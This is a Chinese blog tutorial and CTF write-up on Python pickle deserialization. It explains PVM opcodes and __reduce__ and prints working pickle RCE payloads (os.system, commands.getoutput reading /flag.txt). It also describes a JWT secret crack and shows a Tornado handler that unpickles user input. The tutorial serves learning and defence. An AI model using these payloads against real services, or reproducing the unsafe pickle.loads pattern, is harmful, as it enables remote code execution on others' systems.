浅谈Python Pickle反序列化

  • A+
所属分类:代码审计
浅谈Python Pickle反序列化
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

前言

鸽了很久的python反序列化漏洞,趁着今天没啥事儿就学习一下。在目前(我)已知的反序列化漏洞中,有PHP、Python以及Java语言的反序列化漏洞,且漏洞利用的方式多种多样。这次就先学习一下Python Pickle反序列化漏洞。

基础知识

什么是反序列化

序列化说白了就是将对象转换成字节流,便于保存在内存、文件或者是数据库中;反序列化则是序列化的逆过程,将字节流还原成对象。

Pickle库以及函数

Python中的序列化操作时可以通过pickle和cPickle两个模块进行操作,这两个模块一个是纯python实现,一个是C语言实现,为了方便,这里就以pickle库来进行学习:

picklepython语言的一个标准模块,实现了基本的数据序列化和反序列化。pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。
函数 说明dumps对象序列化为bytes对象dump对象序列化到文件对象,存入文件loadsbytes对象反序列化load对象反序列化,从文件中读取数据

带 s 和不带 s 的区别就在于一个是直接进行序列化、反序列操作,另一个在完成上述操作时同时会对文件进行读取、写入操作。下面将举两个例子来看dumps和loads函数的作用:

#test.pyimport pickle
class A: def __init__(self): print('This is A')

a = A()p_a = pickle.dumps(a)print p_apickle.loads(p_a)
##输出:This is A#(i__main__#A#p0#(dp1#b.

PVM指令

在python2下运行上述的代码,发现在loads函数输出的时候会有一串奇怪的字符。这串字符学名叫PVM指令:

Python语言,是可以直接从源代码中运行程序。Python解释器会将源代码编译成字节码,然后将编译过后的字节码转发到Python虚拟机(PVM)中执行。所以说,PVM指令的作用就是告诉解释字节码的解释引擎我们要进行什么操作。我们在python2运行后,会看到一个以.pyc为扩展名的文件,正是该程序的字节码。
列出几个比较重要的操作码:
c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中. : 结束整个 Pickle 反序列化过程

PVM的组成

PVM 由三个部分组成,引擎(或者叫指令分析器)、栈区、还有一个 标志区(memo)

1.引擎的作用
从头开始读取流中的操作码和参数,并对其进行处理,zai在这个过程中改变 栈区 和 标签区,处理结束后到达栈顶,形成并返回反序列化的对象
2.栈区的作用
作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化,并最终在栈上生成发序列化的结果
3.标签区的作用
数据的一个索引或者标记


我们来解读一下上面 loads 函数的输出:

#(i__main__    引入__main__模块#A             引入A对象#p0            将栈顶数据(__main__.A)存储到标志区(memo)中#(dp1          在栈顶创建一个字典,将memo中的内容转换成键值对并存储到这个字典中,然后栈顶存储到memo中#b.            调用__setstate__或者__dict__.update()来更新字典内容,最后读取到".",结束Pickle序列化过程。


反序列化漏洞的产生

从上面的例子中,可以总结得到python序列化主要有三个过程:从对象中提取所有属性——》写入对象的所有模块名和类名——》写入对象所有属性的键值对。python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的__reduce__()方法,会在每次的反序列化开始或结束时调用。

__reduce__方法
在新式类中生效,不带参数,应返回字符串或是一个元组。
如果返回一个字符串,该字符串应该被解释为全局变量的名称,它应该是对象相对于其模块的本地名称。
当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以提供None作为其值。
每个成员的意义是按顺序规定的:
第一个成员,将被调用的对象,callable。
第二个成员,可调用对象的参数的元组。如果callable不接受任何参数,则必须给出一个空元组。
当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码执行。


注意,目前在python2中,只有内置类才有__reduce__方法,所以声明的时候必须为class A(object)才能利用这个点。

来个例子简单理解一下:

import pickleimport osclass A(object):    def __reduce__(self):        return (os.system,('ls',))a = A()test = pickle.dumps(a)print testpickle.loads(test)

浅谈Python Pickle反序列化


可以看到在dumps执行后,PVM指令中有一行R指令,前面提到R指令的作用就是将该元组作为可调用参数的对象并执行该对象,所以就相当于执行了os.system('ls'),并且pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用:

eval, execfile, compile, open, file, map, input,os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,os.listdir, os.access,os.execl, os.execle, os.execlp, os.execlpe, os.execv,os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,pickle.load, pickle.loads,cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen

例题训练

ikun--CISCN2019 华北赛区

浅谈Python Pickle反序列化


提示我们要买到LV6才行,跑脚本去抓 lv6.png:

import requestsurl="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="
for i in range(0,501):
r=requests.get(url+str(i))if 'lv6.png' in r.text: print (i) break


单线程跑的不是很快,好在页面也不是很多。但找到页面后发现钱不够。。。抓包看下:

浅谈Python Pickle反序列化



发现页面中的折扣是可以进行修改的,尝试将折扣修改到足够小。这时候再向服务器发起请求的时候,被重定向到另一个页面,并且提示我们页面只有admin才能访问。这时候再重新审一下页面,有一个JWT的cookie,跑网站解析一下:

浅谈Python Pickle反序列化

刚开始解析完,直接把用户名改成admin,放Burp里跑的时候没成功,发现还有一段密钥需要解,把现有的JWT放到JWT-Cracker跑一下,拿到密钥 1Kun 。再次修改JWT,拿着新的JWT向服务器发起请求,接着给了我们源码,源码挺多的,根据题目给的暗示 pickle和python,猜测是python反序列化漏洞,搜索关键字loads和dumps,在admin.py找到:

import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllib

class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html')
@tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) #从字节对象中读取被封装的对象,并返回 return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)


如果我们传入一个带有__reduce__方法的类到become中,那么就会触发RCE(ps:网上的payload直接就找着/flag.txt打,其实最主要的还是先找到flag的位置。刚开始很sb的用os.system打,但是没有回显,一度以为被ban掉了= =后面才想起来该函数只执行,不打印结果):

#找flag.pyimport pickleimport urllibimport sysimport commands
class payload(object): def __reduce__(self): return (commands.getoutput, ('ls /',))
a = pickle.dumps(payload())a = urllib.quote(a)print a
#拿flag.py
import pickleimport urllib class payload(object): def __reduce__(self): return (commands.getoutput, ('cat /flag.txt',))
a = pickle.dumps(payload())
a = urllib.quote(a)print a


关于python反序列化还有其他知识点,星盟的师傅总结的要更全面些:https://www.secpulse.com/archives/127664.html


关于python反序列化利用的真实案例,可以看p牛的:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.htm


实操推荐:Python反序列化漏洞

https://www.hetianlab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572&pk_campaign=weixin-wemedia#stu


通过进行python脚本的实际编程,了解python反序列化漏洞产生的机理,增强安全开发意识。

浅谈Python Pickle反序列化

“阅读原文”

体验免费靶场

本文始发于微信公众号(合天网安实验室):浅谈Python Pickle反序列化

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: